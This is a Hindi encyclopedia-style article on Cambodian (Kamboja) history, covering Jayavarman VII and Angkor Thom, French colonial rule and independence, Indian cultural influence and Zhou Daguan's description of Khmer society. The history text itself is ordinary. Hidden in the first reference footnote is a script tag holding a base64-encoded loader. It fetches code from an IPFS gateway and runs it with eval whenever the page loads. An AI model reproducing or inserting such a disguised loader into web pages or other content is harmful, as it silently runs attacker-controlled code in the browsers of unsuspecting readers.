जयवर्मन सप्तम (अभिषेक 1181) के राज्यकाल में पुन: एक बार कंबोज की प्राचीन यश:पताका फहराने लगी। उसने एक विशाल सेना बनाई, जिसमें स्याम और ब्रह्मदेश के सैनिक भी सम्मिलित थे। जयवर्मन ने अनाम पर आक्रमण कर उसे जीतने का भी प्रयास किया, किंतु निरंतर युद्धों के कारण शनै: शनै: कंबोज की सैनिक शक्ति का ह्रास होने लगा, यहाँ तक कि 1220 ई. में कंबोजों को चंपा से हटना पड़ा। किंतु फिर भी जयवर्मन सप्तम की गणना कंबोज के महान् राज्य निर्माताओं में की जाती है, क्योंक उसके समय में कंबोज के साम्राज्य का विस्तार अपनी चरम सीमा पर पहुँचा हुआ था। जयवर्मन सप्तम ने अपनी नई राजधानी वर्तमान अंग्कोरथोम में बनाई थी। इसके खंडहर आज भी संसार के प्रसिद्ध प्राचीन अवशेषों में गिने जाते हैं। नगर के चतुर्दिक एक ऊँचा परकोटा था और 110 गज चौड़ी एक परिखा थी। इसकी लंबाई साढ़े आठ मील के लगभग थी। नगर के परकोटे के पाँच सिंहद्वार थे, जिनसे पाँच विशाल राजपथ (100 फुट चौड़े, 1 मील लंबे) नगर के अंदर जाते थे। ये राजपथ, बेयोन के विराट हिंदू मंदिर के पास मिलते थे, जो नगर के मध्य में स्थित था। मंदिर में 66,625 व्यक्ति नियुक्त थे और इसके व्यय के लिए 3,400 ग्रामों की आय लगी हुई थी। इस समय के एक अभिलेख से ज्ञात होता है कि कंबोज में 789 मंदिर तथा 102 चिकित्सालय थे और 121 वाहनी (विश्राम) गृह थे।

जयवर्मन सप्तम के पश्चात् कंबोज के इतिहास के अनेक स्थल अधिक स्पष्ट नहीं हैं। 13वीं सदी में कंबोज में सुदृढ़ राजनीतिक शक्ति का अभाव था। कुछ इतिहास लेखकों के अनुसार कंबोज ने 13वीं सदी के अंतिम चरण में चीन के सम्राट कुबले ख़ाँ का आधिपत्य मानने से इनकार कर दिया था। 1296 ई. में चीन से एक दूतमंडल अंग्कोरथोम आया था, जिसके एक सदस्य शू-तान-कुआन ने तत्कालीन कंबोज के विषय में विस्तृत तथा मनोरंजक वृत्तांत लिखा है, जिसका अनुवाद फ़्राँसीसी भाषा में 1902 ई. में हुआ था। 14वीं सदी में कंबोज के पड़ोसी राज्यों में नई राजनीतिक शक्ति का उदय हो रहा था तथा स्याम और चंपा के थाई लोग कंबोज की ओर बढ़ने का निरंतर प्रयास कर रहे थे। परिणाम यह हुआ कि कंबोज पर दो ओर से भारी दबाव पड़ने लगा और वह इन दोनों देशों की चक्की के पाटों के बीच पिसने लगा। धीरे-धीरे कंबोज की प्राचीन महत्ता समाप्त हो गई और अब यह देश इंडोचीन का एक साधारण पिछड़ा हुआ प्रदेश बनकर रह गया।

फ़्राँसीसियों का प्रभाव

19वीं सदी में फ़्राँसीसी का प्रभाव इंडोचीन में बढ़ चला था; वैसे वे 16वीं सदी में ही इस प्राय:द्वीप में आ गए थे और अपनी शक्ति बढ़ाने के अवसर की ताक में थे। वह अवसर अब और 1854 ई. में कंबोज के निर्बल राजा अंकडुओंग ने अपना देश फ़्राँसीसियों के हाथों सौंप दिया। नोरदम (नरोत्तम) प्रथम (1858-1904) ने 11 अगस्त, 1863 ई. को इस समझौते को पक्का कर दिया और अगले 80 वर्षों तक कंबोज या कंबोडिया फ्रेंच-इंडोचीन का एक भाग बना रहा।[3] 1904-1941 में स्याम और फ़्राँसीसियों के बीच होने वाले युद्ध में कंबोडिया का कुछ प्रदेश स्याम को दे दिया गया, किंतु द्वितीय विश्वयुद्ध के पश्चात्‌ 1945 ई. में यह भाग उसे पुन: प्राप्त हो गया। इस समय कंबोडिया में स्वतंत्रता आंदोलन भी चल रहा था, जिसके परिणामस्वरूप फ़्राँस ने कंबोडिया को एक नया संविधान 6 मई, 1947 को प्रदान किया। किंतु इससे वहाँ के राष्ट्र प्रेमियों को संतोष न हुआ और उन्होंने 8 नवम्बर, 1949 ई. में फ़्राँसीसियों को एक नए समझौते पर हस्ताक्षर करने पर विवश कर दिया, जिससे उन्होंने कंबोडिया की स्वतंत्र राजनीतिक सत्ता को स्वीकार कर लिया, किंतु अब भी देश को फ्रेंच यूनियन के अंतर्गत ही रखा गया था। इसके विरुद्ध कंबोडिया के प्रभावशाली राजा नोरदम सिंहानुक ने अपना राष्ट्रीय आंदोलन जारी रखा। इनके प्रयत्न से कंबोडिया शीघ्र ही स्वतंत्र राष्ट्र बन गया और ये अपने देश के प्रथम प्रधानमंत्री चुने गए।[1]

भारतीय उपनिवेश

कंबोज वास्तविक अर्थ में भारतीय उपनिवेश था। वहाँ के निवासियों का धर्म, उनकी संस्कृति एवं सभ्यता, साहित्यिक परंपराएँ, वास्तुकला और भाषा, सभी पर भारतीयता की अमिट छाप थी, जिसके दर्शन आज भी कंबोज के दर्शक को अनायास ही हो जाते हैं। हिंदू धर्म और वैष्णव संप्रदाय और तत्पश्चात्‌ (1000 ई. के बाद) बौद्ध धर्म कंबोज के राजधर्म थे और यहाँ के अनेक संस्कृत अभिलेखों को उनकी धार्मिक तथा पौराणिक सांस्कृतिक पृष्ठभूमि के कारण भारतीय अभिलेखों से अलग करना कठिन ही जान पड़ेगा। उदाहरण के लिए राजेंद्रवर्मन के एक विशाल अभिलेख का केवल एक अंश यहाँ प्रस्तुत है, जिसमें शिव की वंदना की गई है-

रूपं यस्य नवेन्दुमंडितशिखं त्रय्‌या: प्रतीतं परं
बीजं ब्रह्महरीश्वरोदयकरं भिन्नं कलाभिस्त्रिधा।
साक्षारदक्षरमामनन्ति मुनयो योगोधिगम्यं नमस्‌
संसिद्ध्यै प्रणवात्मने भगवते तस्मै शिवायास्तु वम्‌।।

संस्कृति

पुराने अरब पर्यटकों ने कंबोज को हिंदू देश के नाम से ठीक ही अभिहित किया। कंबुज की राजभाषा प्राचीन काल में संस्कृत थी, उसका स्थान धीरे-धीरे बौद्ध धर्म के प्रचार के कारण पाली ने ले लिया और आज भी यह धार्मिक क्षेत्र में यहाँ की मुख्य भाषा बनी हुई है। कंबुज भाषा में संस्कृत के हजारों शब्द अपने कंबुजी या ख्मेर रूप में आज भी पाए जाते हैं, जैसे- तेप्‌दा उ देवता, शात्स उ शासन, सुओर उ स्वर्ग, फीमेअन उ विमान आदि। ख्मेर लिपि दक्षिण भारत की पल्लव और पूर्वी चालुक्य लिपियों के मेल से बनी है। कंबोज की वास्तुकला, मूर्तिकला तथा चित्रकला पर भारतीय प्रभाव स्पष्ट है। अंग्कोरथोम का बेयोन मंदिर दक्षिण भारत के मंदिरों से बहुत मिलता-जुलता है। इसके शिखर में भी भारतीय मंदिरों के शिखरों की स्पष्ट झलक मिलती है। इस मंदिर और एलोरा के कैलाश मंदिर के कलातत्व, विशेषत: मूर्तिकारी तथा आलेख्य विषयों और दृश्यों में अद्भुत साम्य है।[1]

सामाजिक दशा

कंबोज की सामाजिक दशा का सुंदर चित्रण 'शू-तान-कुतान' के वर्णन[4] इस प्रकार है-

विद्वानों को यहाँ 'पंकि' (पंडित), भिक्षुओं को 'शू-कू' (भिक्षु) और ब्राह्मणों को 'पा-शो-वेई' (पाशुपत) कहा जाता है। पंडित अपने कंठ में श्वेत धागा (यज्ञोपवीत) डाले रहते हैं, जिसे वे कभी नहीं हटाते। भिक्षु लोग सिर मुड़ाते और पीत वस्त्र पहनते हैं। वे मांस मछली खाते हैं पर मद्य नहीं पीते। उनकी पुस्तकें तालपत्रों पर लिखी जाती हैं। बौद्ध भिक्षुणियाँ यहाँ नहीं है। पाशुपत अपने केशों को लाल या सफ़ेद वस्त्रों से ढके रहते हैं। कंबोज के सामान्य जन श्याम रंग के तथा हष्ट-पुष्ट हैं। राजपरिवार की स्त्रियाँ गौर वर्ण हैं। सभी लोग कटि तक शरीर विवस्त्र रखते हैं और नंगे पाँव घूमते हैं। राजा पटरानी के साथ झरोखे में बैठकर प्रजा को दर्शन देता है। लिखने के लिए कृष्ण मृग का चमड़ा भी काम में आता है। लोग स्नान के बहुत प्रेमी हैं। यहाँ स्त्रियाँ व्यापार का काम भी करती हैं। गेहूँ, हल्दी, चीनी, रेशम के कपड़े, राँगा, चीनी बर्तन, काग़ज़ आदि यहाँ व्यापार की मुख्य वस्तुएँ हैं। गाँवों में प्रबंध करने के लिए एक मुखिया या 'मयिची' रहता है। सड़कों पर यात्रियों के विश्राम करने के लिए आवास बने हुए हैं।


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 1.3 1.4 कंबोडिया (हिन्दी)। । अभिगमन तिथि: 18 मई, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. कश्मीर का राजौरी ज़िला तथा संवर्ती प्रदेश-द्र. 'कंबोज'
  3. कंबोडिया, फ्रेंच का रूपांतर है। फ्रेंच नाम कंबोज या कंबुजिय से बना है।
  4. 13वीं सदी का अंत

बाहरी कड़ियाँ

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